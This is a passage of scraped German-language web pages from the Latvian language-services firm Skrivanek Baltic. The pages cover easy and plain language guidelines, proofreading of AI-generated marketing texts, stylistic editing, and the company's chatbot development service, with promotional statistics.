eine Idee); Vermeiden Sie überflüssige Wörter; Vermeiden Sie Fremdwörter, unverständliche lettische Wörter und Fachausdrücke (verwenden Sie Begriffe, die alltagssprachlich sind); Vermeiden Sie Verneinungen und das Passiv; vermeiden Sie Redensarten, da nicht jeder sie kennt oder versteht; vermeiden Sie Prozentsätze und große Zahlen (verwenden Sie stattdessen "wenige", "viele" usw. ); Informationen können wiederholt werden; es wird sogar dringend empfohlen, komplexe Wörter mehrmals zu erklären; Verwenden Sie einen Zeilenabstand von mindestens 1,5, eine Schriftgröße von mindestens 14 und halten Sie die Absätze so kurz wie möglich. EINFACHE SPRACHE Empfehlungen und Grundsätze für die Anwendung: je kürzer, desto besser. Das heißt nicht, dass der gesamte Text aus kurzen Sätzen bestehen sollte. Es wird empfohlen, sowohl kurze als auch lange Sätze zu verwenden. Kurze Sätze sollten die wichtigsten Punkte hervorheben, während längere Sätze in zwei geteilt werden sollten (die durchschnittliche Satzlänge sollte zwischen 15 und 20 Wörtern liegen). In einfacher Sprache, etwas kürzer); Verwenden Sie die aktive Form; Verwenden Sie für die Zielgruppe geeignete Wörter; Vermeiden Sie überflüssige Wörter; Verwenden Sie Beispiele, denn so können es sich die Leser besser vorstellen. Darüber hinaus sollten Sie einfache Beispiele verwenden, die der Weltanschauung, den Tätigkeitsbereich oder der Ausbildung des Ziellesers entsprechen. Aber bedenken Sie, dass leichte und einfache Sprache keine Vereinfachung darstellen. Ziel ist es, Informationen zugänglich und verständlich zu machen, aber nicht an Inhalt oder Bedeutung zu reduzieren. Leichte Sprache dient dazu, komplexe Informationen verständlich für alle zu machen. Einfache Sprache dient dazu, Inhalte einer breiten Leserschaft zugänglich zu machen. WIE IST LEICHTE SPRACHE HILFREICH FÜR DEN LESER? Leichte Sprache hilft dem Leser, komplexe Informationen zu verstehen. Laut Studien können 15-25 % der Menschen in jedem Land komplexe Inhalte nicht verstehen. Daher ist die leichte Sprache umso wichtiger. So werden Informationen für eine breitere Leserschaft verständlich gemacht. . Sie hilft uns zu verstehen, wie wir lesen lernen und wie verschiedene Teile des Gehirns zusammenarbeiten, um geschriebene Sprache zu verarbeiten. Somit können wir die beste Methode zur Vermittlung dieser Fähigkeiten entwickeln, damit jeder das Lesen richtig lernen kann. Die leichte Sprache dient Menschen mit geistigen Einschränkungen. Beispielsweise bei neuropsychiatrische Erkrankungen (einschließlich ADHS, Autismus, Asperger-Syndrom und Tourette-Syndrom), Legasthenie, Aphasie sowie Lernstörung und Laut- oder Schriftsprachschwierigkeiten. Leichte Sprache ist auch vorteilhaft für jene, die damit eine Sprache lernen wie zum Beispiel Einwanderer und Kinder. Die Materialien sind auch für Sehbehinderte, Gehörlose und Hörgeschädigte geeignet. Diese Menschen kommunizieren täglich in Gebärdensprache und können möglicherweise mit Redewendungen, Metaphern und andere künstlerische Ausdrucksmitteln nicht viel anfangen. ISO NORM 24495-1:2023 FÜR EINFACHE SPRACHE Die Norm für einfache Sprache wurde 2023 eingeführt. Diese Norm ist ein Leitfaden, in der die Grundsätze und Anforderungen für die Verwendung einfacher Sprache dargelegt werden, um Informationen zugänglicher und verständlicher zu machen. Dieser Standard stellt sicher, dass jeder, unabhängig von der Lese- oder Sprachfähigkeit, Zugang zu wichtigen Informationen hat. In der Norm wird betont, dass in allen Arten von Dokumenten, einschließlich juristischer, technischer und informativer Materialien, eine einfache Sprache verwendet werden sollte. Gemäß der Norm gelten Informationen erst als zugänglich, wenn der Leser das Geschriebene direkt beim ersten Lesen versteht und die benötigten Informationen schnell findet. Sie umfasst die wesentlichen Merkmale der einfachen Sprache, deckt aber nicht alle Kommunikationsformen ab. Diese Norm gilt nur für gedruckte oder digitale Informationen, die hauptsächlich aus Geschriebenem bestehen. Skrivanek hilft Ihnen beim Korrekturlesen von vorgefertigten Texten sowie bei der Übersetzungen in leichte und einfache Sprache. Auch wenn Sie sich unsicher sind, ob der Ihr Text in leichter und einfacher Sprache ist, steht Ihnen ein Sprachspezialist von Skrivanek zur Seite. Unsere Spezialisten passen den Text so an, sodass dieser allen Anforderungen entspricht und Sie damit das beste Ergebnis erzielen können. Für das bestmögliche Lernerlebnis halten wir uns auch in unseren Fremdsprachkursen und Kindercamps an die Normen der einfachen und leichten Sprache! --- > Unsere Experten sind davon überzeugt, dass für erfolgreiche Geschäftsergebnisse und eine effektive Marketingkommunikation im Ausland die Unterstützung von Spezialisten notwendig ist. - Published: 2025-01-06 - Modified: 2025-07-17 - URL: https://skrivanek.lv/maksliga-intelekta-genereta-marketinga-teksta-parbaude-un-labosana/ - Translation Priorities: Optional Heutzutage ist die KI-Technologie fast schon ein Mädchen für alles. Marketingtexte über malerische Bilder bis hin zu musikalischen Kompositionen sind in wenigen Minuten oder sogar Sekunden erstellt. Die Technologie ist leicht zugänglich und vielversprechend. Wie ist es in Wirklichkeit? Unsere Sprachexperten von Skrivanek sind davon überzeugt, dass für erfolgreiche Geschäftsergebnisse und eine effektive Marketingkommunikation im Ausland die Unterstützung von Spezialisten notwendig ist. Es ist wichtig, ChatGPT nicht nur die richtigen Fragen zu stellen, um so schnell wie möglich den gewünschten Text zu erhalten, sondern auch sicherzustellen, dass der Markenkern Ihres Unternehmens auf eine ansprechende, wirkungsvolle und natürlich klingende Art widergespiegelt wird. Der Text muss durchdacht und qualitativ hochwertig klingen, damit er das Interesse des Lesers weckt. Nur so wird er dann auch mit Freunden und Bekannten geteilt, was zu mehr Sichtbarkeit bei den Google Suchergebnissen führt. Bei Texten, die von einem KI-Tool generiert werden, ist es wichtig, nicht nur die Grammatik (z. B. Syntax und Morphologie), sondern auch die inhaltliche und sachliche Korrektheit des Textes und seine Relevanz für Ihre Bedürfnisse zu prüfen. Sie sind sich nicht sicher, wie Sie sicherstellen können, dass der von Ihnen auf Englisch oder in einer anderen Sprache erstellte Text leserlich und fehlerfrei ist? Skrivanek kann Ihnen dabei helfen, Gewissheit über Ihren KI-generierten Text zu schaffen und zu überprüfen ob dieser logisch, frei von faktischen (erfundenen Fakten, Zahlen usw. ), grammatikalischen und stilistischen Fehlern ist, überzeugend und nicht zu generisch klingt, und Ihre Unternehmensmarke und -identität in Sprachen, die Sie nicht sprechen, widerspiegelt. Auch wenn Sie den Inhalt Ihrer vorhandenen Website neu gestalten müssen, um die SEO-Anforderungen (Suchmaschinenoptimierung) optimal zu erfüllen, und das KI-Tool eine Reihe von entsprechenden Änderungen identifiziert und empfohlen hat, Sie sich aber unsicher bezüglich der Validität und Logik dieser Empfehlungen sind, helfen Ihnen die Sprachexperten von Skrivanek weiter. Qualität und Diskretion durch ISO-Zertifikate garantiertUnsere Projektmanager sprechen Lettisch, Russisch und Englisch, Deutsch und Polnisch99 % unserer Kunden erhalten ein Preisangebot in weniger als 15 MinutenMehr als 3000 Sprachexperten und MuttersprachlerMehr als 98 % unserer Kunden würden uns ihren Freunden und Partnern weiterempfehlenIn unserem Büro werden jedes Jahr mehr als 16 Millionen Wörter übersetzt Benötigen Sie Korrekturlesen und Überarbeiten von KI-generierten Marketingtexten? Kontaktieren Sie uns! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Kunde *PrivatpersonUnternehmen Name und Nachname *Telefonnummer Hinzufügen Entfernen Name und Nachname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen Zusätzliche InformationenDokument hochladen, max. 20 MB, wenn das Dokument größer ist, schreiben Sie es in Ihrer Nachricht und wir werden Sie kontaktieren Click or drag files to this area to upload. You can upload up to 10 files. Wie haben Sie von uns erfahren? Wie haben Sie von uns erfahren? Ich bin ein Kunde von SkrivanekGoogle-SuchmaschineVorschlag von einem Freund/ BekanntenFacebookTwitterLinkedInInstagramAußenwerbungMesse / AusstellungGedruckte WerbungAndereMit dem Klicken auf die Schaltfläche „Einreichen“ stimmen Sie der Verarbeitung Ihrer personenbezogenen Daten gemäß der Datenschutzbestimmungen von Skrivanek Baltic zu. Einreichen Oder buchen Sie jetzt eine Online-Beratung für leichte oder einfache Sprache! --- > Verbessern Sie Ihre Inhalte mit unseren Korrekturlesern und unseren stilistischen Dienstleistungen. Unsere Muttersprachler sorgen für Verständnis und Präzision. 🚀 - Published: 2025-01-06 - Modified: 2025-07-17 - URL: https://skrivanek.lv/pakalpojumi/tekstu-adaptacija-un-radosu-tekstu-sagatavosana/tekstu-gramatiska-un-stilistiska-uzlabosana/ - Translation Priorities: Optional Wir bieten Korrekturlesen, stilistische Verbesserung, Vergleich der Übersetzung mit dem Original und Lektorat an, auch für Texte, die nicht von uns erstellt oder übersetzt wurden. Diese Dienstleistungen werden ausschließlich von Muttersprachlern der Zielsprache erbracht. Das Korrekturlesen oder die stilistische Textverbesserung ist eine grammatikalische und stilistische Überprüfung mit dem Zweck, eine adäquate und für seinen Zweck geeignete Übersetzung zu garantieren, die der Branchenterminologie entspricht Das Korrekturlesen wird von einem Muttersprachler durchgeführt, um die Qualität, Genauigkeit und Professionalität der Übersetzung zu gewährleisten. Ein detaillierter Vergleich der Übersetzung mit dem Original wird durchgeführt, um die Genauigkeit und Konsistenz der Übersetzung mit dem Original zu überprüfen und gegebenenfalls Korrekturen vorzunehmen. Der Linguist recherchiert in Handbüchern, Fachwörterbüchern und anderen Referenzmaterialien, um ein qualitativ hochwertiges Ergebnis zu gewährleisten. Dieser Vergleich sorgt dafür, dass die Übersetzung vollständig äquivalent zum Original, leserlich, grammatikalisch und terminologisch korrekt und zweckmäßig ist. Das Lektorat oder die Terminologieprüfung ist nützlich, wenn Sie eine Übersetzung für einen bestimmten Bereich überprüfen müssen. Die in der Übersetzung verwendeten Begriffe werden von einem fachspezifischen Redakteur überprüft. Dieser ist Muttersprachler in der Zielsprache. SUCHEN SIE NACH GRAMMATIKALISCHEN UND STILISTISCHEN VERBESSERUNGEN VON TEXTEN? Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Kunde *PrivatpersonUnternehmen Name und Nachname *Telefonnummer Hinzufügen Entfernen Name und Nachname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen Zusätzliche InformationenDokument hochladen, max. 20 MB, wenn das Dokument größer ist, schreiben Sie es in Ihrer Nachricht und wir werden Sie kontaktieren Click or drag files to this area to upload. You can upload up to 10 files. Wie haben Sie von uns erfahren? Wie haben Sie von uns erfahren? Ich bin ein Kunde von SkrivanekGoogle-SuchmaschineVorschlag von einem Freund/ BekanntenFacebookTwitterLinkedInInstagramAußenwerbungMesse / AusstellungGedruckte WerbungAndereMit dem Klicken auf die Schaltfläche „Einreichen“ stimmen Sie der Verarbeitung Ihrer personenbezogenen Daten gemäß der Datenschutzbestimmungen von Skrivanek Baltic zu. Einreichen Oder buchen Sie jetzt eine Online-Beratung! HÄUFIG GESTELLTE FRAGEN Wir bieten eine große Vielfalt an Sprache an - Übersetzungen und Dolmetschen, Lokalisierung, Textadaption, Copywriting, DTP und Sprachunterricht. Wir dolmetschen bei Konferenzen und Geschäftstreffen sowie bei Gerichtsverfahren. Das Übersetzen umfasst Fachübersetzungen und allgemeine Übersetzungen in einer Vielzahl von Branchen. Ja, alle Preise für natürliche Personen verstehen sich inklusive Mehrwertsteuer. Für Firmenkunden sind die Preise ohne Mehrwertsteuer angegeben. Gemäß der EU-Verordnung berechnen wir keine Mehrwertsteuer auf Dienstleistungen, die wir für mehrwertsteuerpflichtige Unternehmen in anderen Mitgliedsländern erbringen. Nach dem Reverse-Charge-Verfahren geht die Steuerschuld auf den Empfänger der Dienstleistung über. Obwohl die meisten unserer Übersetzungsaufträge von juristischen Personen kommen, arbeiten wir auch gerne mit natürlichen Personen zusammen. Notariell beglaubigte Übersetzungen sind die häufigste Dienstleistung für natürliche Personen. Auch Sprachkurse und Camps für Kinder und Jugendliche sind sehr beliebt. Qualität und Diskretion durch ISO-Zertifikate garantiertUnsere Projektmanager sprechen Lettisch, Russisch, Englisch, Deutsch und Polnisch. 99 % der Kunden erhalten ein Preisangebot in weniger als 15 MinutenMehr als 3000 Sprachexperten und MuttersprachlerMehr als 98 % unserer Kunden würden uns ihren Freunden und Partnern weiterempfehlenIn unserem Büro werden jedes Jahr mehr als 16 Millionen Wörter übersetzt ZUVERLÄSSIGKEIT, GESCHWINDIGKEIT UND QUALITÄT DER DIENSTE KRKA D. D. Die Mitarbeiter von Skrivanek sind hilfsbereit, zuvorkommend und haben Verständnis für die Anforderungen unserer pharmazeutischen Übersetzungsaufträge und Übersetzungen aus verschiedenen Sprachkombinationen. Aufträge werden auf höchstem Niveau und höchster ethischer sowie fachlicher Kompetenz innerhalb der vorgegebenen Frist ausgeführt.  SANDOZ D. D. Wir empfehlen Skrivanek Baltic als zuverlässigen Partner für alle Großprojekte, die professionelle Sprachdienstleistungen erfordern.  ADIDAS BALTICS Die Mitarbeiter von Skrivanek sind hilfsbereit und gehen verständnisvoll auf die Anforderungen unserer Übersetzungsaufträge aus den baltischen Sprachen ein. Adidas Baltic empfiehlt anderen Unternehmen, die von diesem Unternehmen angebotenen Dienstleistungen in Anspruch zu nehmen.  --- > Machen Sie Gebrauch von den Chatbot-Diensten von Skrivanek. Ihre Kunden können somit rund um die Uhr beraten werden. Nehmen Sie noch heute Kontakt auf! - Published: 2025-01-06 - Modified: 2025-07-17 - URL: https://skrivanek.lv/pakalpojumi/virtualais-asistents/ - Translation Priorities: Optional WARUM SOLLTEN SIE MIT SKRIVANEK ZUSAMMENARBEITEN? Skrivanek Baltic ist ein führendes Sprachunternehmen in Lettland, welches erstklassige Fremdsprachenkurse und Übersetzungsdienste anbietet. Das Ziel ist nicht nur die Bereitstellung eines virtuellen Assistenten auf Ihrer Webseite, sondern auch einer großartigen Serviceerfahrung. Genau deswegen schätzen uns unsere Kunden. Wenn Sie mit uns arbeiten erwartet Sie: Ein tieferes Verständnis für die Marke des Kunden: Ihr Markenkern wird beim Erstellen des Chatbots berücksichtigt. Wir nutzen den Inhalt Ihrer Website, um die Persönlichkeit und das Wissen des Chatbots zu entwickeln und sicherzustellen, dass er den einzigartigen Charakter Ihres Unternehmens widerspiegelt. Design und Anpassung: Wir passen das Aussehen und die Funktionalität Ihres Chatbots an Ihren Markenkern an. Für einen nahtlosen Integration Ihrer Webseite ist gesorgt. Fachwissen über künstlicher Intelligenz (KI) und natürlicher Sprachverarbeitung (NLP): Wir nutzen KI- und NLP-Technologien, um virtuelle Assistenten oder Chatbots zu entwickeln, welche die zwischenmenschliche Kommunikation imitieren. Somit ist eine KI-gestützte Kommunikation in Echtzeit möglich, welches eine signifikante Steigerung der Effizienz ermöglicht. Internationaler Erfolg: Wir bieten einen umfassenden Ansatz für Software-as-a-Service (SaaS)-Lokalisierungsdienste, die Ihrem virtuellen Assistenten helfen, sich an jeden Markt anzupassen und bei Nutzern auf der ganzen Welt beliebt zu sein. WAS IST EIN CHATBOT? Ein virtueller Assistent oder auch Chatbot genannt ist ein Computerprogramm, das einen Dialog zwischen einem Menschen und einem Computer herstellt, indem es menschliche Befehle ausführt und Daten extrahiert und anzeigt. Durch den Einsatz dieser Technologie können Unternehmen, Behörden und andere Organisationen die Besucher ihrer Website besser bedienen, da der virtuelle Assistent schneller reagiert als ein Mensch und gleichzeitig Gespräche mit vielen Kunden in verschiedenen Sprachen aus unterschiedlichen Ländern führen kann. Die Nutzer der virtuellen Assistentenfunktion können die gewünschte Antwort sofort erhalten, ohne lange auf die Beantwortung einer E-Mail warten zu müssen, am Telefon darauf zu warten, dass ein Kundendienstmitarbeiter das Gespräch mit einem anderen Kunden beendet, oder sich in die Warteschlange eines Helpdesks einzureihen. Das Wissen des virtuellen Assistenten basiert auf den am häufigsten gestellten Fragen und Antworten der Nutzer der jeweiligen Website. Es gibt viele verschiedene Wege, um virtuelle Assistenten in Texten oder Gesprächen zu beschreiben, z. B. als Chatbot, KI-Assistent oder automatisierter Agent. Brauchen Sie Ihren eigenen virtuellen Assistenten oder Chatbot? Kontaktieren Sie uns! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Kunde *PrivatpersonUnternehmen Name und Nachname *Telefonnummer Hinzufügen Entfernen Name und Nachname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen Zusätzliche InformationenDokument hochladen, max. 20 MB, wenn das Dokument größer ist, schreiben Sie es in Ihrer Nachricht und wir werden Sie kontaktieren Click or drag files to this area to upload. You can upload up to 10 files. Wie haben Sie von uns erfahren? Wie haben Sie von uns erfahren? Ich bin ein Kunde von SkrivanekGoogle-SuchmaschineVorschlag von einem Freund/ BekanntenFacebookTwitterLinkedInInstagramAußenwerbungMesse / AusstellungGedruckte WerbungAndereMit dem Klicken auf die Schaltfläche „Einreichen“ stimmen Sie der Verarbeitung Ihrer personenbezogenen Daten gemäß der Datenschutzbestimmungen von Skrivanek Baltic zu. Einreichen Oder buchen Sie jetzt eine Online-Beratung, um mehr über die Chatbot-Optionen zu erfahren! ARTEN VON CHATBOTS FÜR UNTERSCHIEDLICHE UNTERNEHMENSBEDÜRFNISSE Chatbots sind so breitgefächert wie die Unternehmen, für die sie eingesetzt werden, und jeder ist auf einen bestimmten Bedarf zugeschnitten. Angefangen mit regelbasierten Chatbots, die ideal für den direkten Kundensupport und die Leadgenerierung (Interessentengewinnung) sind. Diese regelbasierten Chatbots helfen den Nutzern bei der Navigation zwischen einer Reihe von vorkonfigurierten Optionen und bieten ein vorhersehbares und effizientes Interaktionsniveau. Zusätzlich gibt es auch hochentwickelte, KI-unterstützte intelligente virtuelle Assistenten, die maschinelles Lernen nutzen, um sich anzupassen und weiterzuentwickeln und so jede Kundeninteraktion in eine Lernmöglichkeit zu verwandeln. Wenn die Kontrolle und Bestätigung eines Menschen benötigt ist, sind Hybrid-Chatbots die goldene Mitte beider Welten. Diese kombinieren die Effizienz der Automatisierung mit den Adleraugen eines Live-Experten. Sie beginnen mit automatisierten Gesprächen und versuchen, die Fragen der Benutzer schnell zu beantworten, können aber nahtlos zu einem Menschen wechseln, wenn das Gespräch für den Roboter zu komplex wird. Dadurch wird sichergestellt, dass die Kunden beim Verlassen des Chat-Fensters sich immer gehört fühlen und ihr Problem gelöst wird, unabhängig von dessen Komplexität. Tatsächlich sind die Arten von Chatbots so vielfältig wie die Gespräche, die sie führen, so dass jedes Unternehmen den virtuellen Assistenten finden kann, der perfekt auf sie zugeschnitten ist. REGELBASIERTE CHATBOTS Am zuverlässigsten sind regelbasierte Chatbots. Sie arbeiten nach dem „wenn/dann“ Prinzip, orientieren sich an den Präferenzen des Benutzers und führen ihn auf einen strukturierten Weg. Diese Chatbots sind besonders nützlich für Unternehmen mit klar definierten Nutzerfragen und einem Bedarf an beständigen, zuverlässigen Antworten. Durch die Auswertung spezifischer Begriffe wie Schlüsselwörter und Synonyme können diese Chatbots die Kommunikation mit dem Kunden genau steuern und sicherstellen, dass die Frage des Nutzers auf eine bestimmte Weise beantwortet wird. Die Stärken von regelbasierten Chatbots können jedoch auch ihre Schwächen sein. Ihre Abhängigkeit von vordefinierten Regeln bedeutet, dass sie mit unerwarteten oder komplexen Problemen Schwierigkeiten haben, was den Kunden unzufrieden zurücklassen kann, wenn diese Probleme nicht korrekt behandelt werden. Hier kommt die Stärke einer gut durchdachten Ausstiegsstrategie ins Spiel, die ein Sicherheitsnetz bietet, das die Konversation auf Kurs hält, selbst wenn der Roboter seine programmierten Grenzen erreicht. Mit der richtigen Einstellung können regelbasierte Chatbots ein unschätzbares Werkzeug sein, um große Mengen an Kundeninteraktionen zu verwalten, den Datenverkehr zu fördern und sicherzustellen, dass jede Konversation ein Schritt zur Problemlösung ist. KI-BASIERTE CHATBOTS KI-basierte Chatbots sind wahre Meister: sie kommunizieren gekonnt mit Menschen, indem sie menschliche Interaktionen realitätsnah widerspiegeln. Ihre Intelligenz verdanken sie den Algorithmen des maschinellen Lernens, die aus jeder Interaktion lernen und mit der Zeit immer intelligenter und effizienter werden. Diese Roboter haben ein kontextbezogenes Bewusstsein, erinnern sich an frühere Chats und verstehen die Feinheiten der Kommunikation, um relevante und persönliche Interaktionen zu gewährleisten, insbesondere mit Stammkunden. Das Potenzial KI-basierter Chatbots wird immer größer, da die Fortschritte in der Technologie der künstlichen Intelligenz die Grenzen verschieben und beweisen, dass das Unmögliche tatsächlich möglich ist. Sie entwickeln sich weiter - von der einfachen Beantwortung von Fragen hin zu komplexen, einfühlsamen Gesprächen und kontextbezogenen Antworten, die sich an den Stil des Nutzers anpassen. Durch die Entwicklung ihrer Fähigkeiten im Bereich der menschlichen Sprache und der natürlichen Konversation revolutionieren diese KI-basierten Chatbots den Kundenservice und bieten eine Art der Kommunikation, die nicht nur automatisiert ist, sondern auch wirklich anspricht. HYBRID-CHATBOTS Hybrid-Chatbots sind ein gutes Beispiel für den Fortschritt im Kundenservice, bei dem sich Automatisierung und menschliche Intuition verbinden. Diese Chatbots beginnen das Gespräch, indem sie schnelle Antworten auf häufig gestellte Fragen geben und versuchen, Probleme selbstständig zu lösen. Wenn die Kundenanfrage im Chat jedoch nicht gelöst werden kann, wird das Gespräch nahtlos an einen Kundenberater weitergegeben, so dass der Gesprächsfluss erhalten bleibt, ohne dass der Sinn verloren geht. Diese Kombination aus automatisierter und personalisierter Unterstützung gewährleistet, dass die Kunden die richtige Hilfe für ihre spezifische Situation erhalten. Hybrid-Chatbots bewältigen effizient eine Vielzahl von den einfachsten bis hin zu den verzwicktesten Unterstützungsszenarien, und stellen sicher, dass jede Kundeninteraktion mit Sorgfalt und Präzision behandelt wird. Durch die Nutzung der Stärken von sowohl KI-gesteuerten Chatbots als auch Kundenbetreuern können Unternehmen ein hohes Serviceniveau bieten, das sowohl effizient als auch einfühlsam ist und die ständig wachsenden Erwartungen der Kunden erfüllt. WAS SIND DIE GRÖßTEN VORTEILE VON CHATBOTS? Stellen Sie sich eine Welt vor, in der mindestens 88 % der Menschen mindestens einmal im Jahr mit einem Roboter gesprochen haben und wundersamerweise die meisten dieser Gespräche nicht in einem digitalen Kampf endeten. Chatbots, KI-Assistenten, automatisierte Agenten oder virtuelle Assistenten haben zweifelsfrei einen festen Platz in unserem virtuellen Alltag eingenommen. 2022 waren fast 9 von 10 Internetnutzern sehr vertraut mit diesen Gesprächsassistenten. Es ist, als ob man auf einer Party auftaucht und bemerkt, dass die interessanteste Person, die man antrifft, der virtuelle Assistent auf dem Handy ist. Und wissen Sie, was das Beste an all dem ist? Umfragen zeigen, dass 62 % von uns lieber einem Chatbot ihr Herz ausschütten würden, als 15 Minuten auf eine Antwort eines lebenden, atmenden Menschen zu warten. Es scheint, als sei Geduld in der Warteschlange nicht nur eine Tugend, sondern eine längst vergessene Kunst. Und wenn es an der Zeit ist, unsere Probleme zu lösen, sind diese Chatbots nicht mehr nur ein nettes Kommunikationswerkzeug. Sie bearbeiten die Fragen und Probleme der Nutzer bereits nach 10 Anfragen, in 90% der Fälle sogar schneller. Vor solch einer Effizienz zieht selbst der erfahrenste Kundendienstmitarbeiter den Hut ab. Wir leben in einer Zeit, in der Chatbots zu unseren schnellen Fragebeantwortern, Einkaufsassistenten und natürlich zu Zuhörern unserer Sorgen und Nöte werden. Natürlich werden diese Chatbots nicht mehr verschwinden. Unternehmen sparen bereits Milliarden an Kosten für den Kundensupport und Prognosen zufolge werden Einzelhändlern bis 2024 142 Milliarden Dollar für die Chatbot-Technologie ausgeben. Wenn wir ihnen nur beibringen könnten, Sarkasmus zu verstehen, könnten wir diese Ära des digitalen Wandels vielleicht mit klarem Verstand und gesunden Nerven überstehen. Mit der Fähigkeit, sofortige Hilfe in Echtzeit zu leisten, haben KI-Assistenten die Art und Weise, wie wir im Kundenservice, im Vertrieb und darüber hinaus arbeiten, grundlegend verändert. Diese leistungsstarken Tools nutzen die Verarbeitung natürlicher Sprache für personalisierte Konversationen und können die Effizienz von Dienstleistungen drastisch verbessern. Im Folgenden erläutern wir die Funktionsweise der Chatbot-Technologie, ihre Vorteile, praktische Anwendungen und Tipps für eine erfolgreiche Unternehmensumsetzung, damit Sie diese KI-Assistententechnologie sowohl für den Kundenservice als auch für die Optimierung von Geschäftsprozessen nutzen können. WIE SIE IHREN EIGENEN CHATBOT BEKOMMEN - KONTAKTIEREN SIE SKRIVANEK JETZT! Die Chatbot-Dienstleistung von Skrivanek - was ist es, wie funktioniert es und wie kann ein Chatbot Ihnen helfen, Ihr Geschäft auszubauen und Ihre Arbeit zu erleichtern? Chatbot-Schulung: Wir beginnen mit einer gründlichen Analyse Ihrer Marke und dessen Auftreten. Wir nehmen den Inhalt Ihrer Website als Grundlage und trainieren Ihren Chatbot, indem wir ihm sowohl eine Persönlichkeit als auch die Wissensbasis geben, die er braucht, um sich in Ihren Produkten und Ihrem Unternehmen zurechtzufinden. Um den Chatbot noch weiter an Ihre Kundenservice-Standards anzupassen, wird Sie unser Team bitten, zusätzliche Materialien zuzusenden. Wir bitten Sie eindringlich, Materialien im PDF-Format oder in anderen bearbeitbaren Dokumenten einzureichen. Dies ist zeitsparend und hilft uns, die Leistung des Chatbots erheblich zu verbessern, indem wir ihn weiter an Ihre Bedürfnisse und Dienstleistungen anpassen. Design und Umsetzung des Chatbots: Als nächstes arbeiten wir an der Personalisierung des Chatbots, indem wir dem virtuellen Assistenten das von Ihnen gewünschte Aussehen, den Namen und die Funktionen geben. Unser Ziel ist es, die visuellen Elemente des Chatbots so zu gestalten, dass diese ihrem Unternehmen entsprechen. Auf diese Weise sorgen wir für eine reibungslosen Umsetzung auf Ihrer Website und versorgen Sie mit allen Details, die Sie benötigen, damit der Chatbot so effizient wie möglich funktioniert. Wir sorgen dafür, dass der virtuelle Assistent nicht nur ein visuelles Werkzeug ist, sondern auch eine aktive Unterstützung, die Ihre Kunden proaktiv bedienen kann. Nach einer erfolgreicher Schulung und Installation auf Ihrer Website wird der virtuelle Assistent zu einem Vermittler zwischen Ihrem Unternehmen und Ihren Kunden, der ihnen direkt auf der Website Hilfe in Echtzeit bietet. Darüber hinaus können Sie unter ai. skrivanek. pl auf ein umfassendes Dashboard zugreifen, in dem Sie Ihren Chatverlauf überwachen, die gesammelten Hinweise verfolgen und wertvolle Informationen über Kundeninteraktionen sammeln können. Diese zentralisierte Plattform hilft Ihnen, die Leistung Ihres Chatbots zu optimieren und Ihre Strategie zur Kundenbindung zu verbessern, indem sie Kundenfragen präziser beantwortet und Ihren virtuellen Assistenten zu einem unschätzbaren Geschäftsfaktor macht. WAS GENAU IST FÜR DIE EINRICHTUNG UND ENTWICKLUNG IHRES KI-ASSISTENTEN ERFORDERLICH? Domainname der Website: Dies ist die primäre Quelle, aus der wir Texte über Ihre Marke, Branche und Produkte abrufen, damit wir den Ton und die Funktionalität des Chatbots an Ihre geschäftlichen Anforderungen anpassen können. Zusätzliche Materialien für Konversationstraining: Wenn Sie die Antworten des Chatbots auf Ihre spezifischen Bedürfnisse zuschneiden möchten, stellen wir Ihnen gerne Materialien im PDF- oder einem anderen editierbaren Dokumentenformat zur Verfügung. Diese Materialien dienen als spezialisierte Wissenskatalog für Ihren Chatbot und stellen sicher, dass er sich mit Ihrem Angebot oder den Feinheiten Ihrer Branche gut auskennt. Mit diesen Ressourcen sind wir in der Lage, einen Chatbot zu erstellen, der nicht nur technologisch überlegen ist, sondern auch Ihr Unternehmen widerspiegelt und Ihnen dabei hilft, neue Kunden zu gewinnen und Stammkunden schnell und zuverlässig zu informieren. ZU WAS SIND VIRTUELLE ASSISTENTEN IN DER LAGE? KI-Assistenten helfen Ihnen, Kundenfragen effizient zu beantworten, während der Kunde das Produkt auf Ihrer Website durchsucht. Dies wird durch die neuesten Fortschritte bei der Verarbeitung natürlicher Sprache und maschinellem Lernen ermöglicht, so dass Sie rund um die Uhr Kundenbetreuung und -interaktion erhalten. Chatbots können an eine breite Palette von Geschäftsanforderungen angepasst werden, von einfachen regelbasierten Chatbot-Modellen bis hin zu komplexen KI- und Hybrid-Chatbots, die Effizienz mit einem differenzierten Verständnis komplexer Fragen und Problemsituationen verbinden. Der erfolgreiche Einbau von Chatbots hängt von der Wahl einer intelligenten Plattform und der Schulung des richtigen Chatbots ab, um Ihre Marke widerzuspiegeln, die Datensicherheit zu gewährleisten und uns die Möglichkeit zu geben, seine Fähigkeiten auf der Grundlage von Nutzererfahrungen und Feedback kontinuierlich zu verbessern. Und um sicherzustellen, dass die Kommunikation mit unseren Kunden verbessert wird und so effektiv wie möglich ist, unabhängig von der jeweiligen Frage. KUNDENFRAGEN BEANTWORTEN KÖNNEN Die Einrichtung eines Chatbots schafft eine virtuelle Präsenz für das Unternehmen und ermöglicht es, rund um die Uhr auf den Kunden einzugehen, bereit sein sich zu engagieren, zu informieren und zu helfen, die zur manuellen Vorbereitung von Antworten erforderlichen Personalressourcen zu verringern und höchstwahrscheinlich den Verkauf der Dienstleistung oder des Produkts zu steigern. Stellen Sie sich einen Chatbot vor, der: Kunden durch eine Website navigieren kann; Kundenfragen in Echtzeit beantwortet; bei der Qualifizierung von Leads hilft; den Kaufverlauf des Kunden kennt. Das Beste daran? Einen Chatbot einzubauen erfordert nur einen minimalen Programmieraufwand, was die technischen Hürden erheblich reduziert und die Technologie sowohl für große als auch für kleine und mittlere Unternehmen zugänglich macht. Ihr Chatbot wird Ihre Marke repräsentieren und zu einem wichtigen Kundenservice-Tool werden, welches das Kundenerlebnis verbessert und 